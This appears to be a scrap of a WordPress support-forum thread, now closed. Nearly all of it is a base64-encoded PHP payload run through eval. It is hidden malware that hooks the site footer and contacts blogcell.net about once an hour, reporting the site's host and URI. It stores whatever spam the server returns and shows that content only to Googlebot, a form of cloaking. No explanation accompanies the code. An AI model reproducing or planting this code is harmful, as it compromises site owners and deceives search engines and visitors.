    eval(base64_decode('ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4='));

Topic Closed

This topic has been closed to new replies.

About this Topic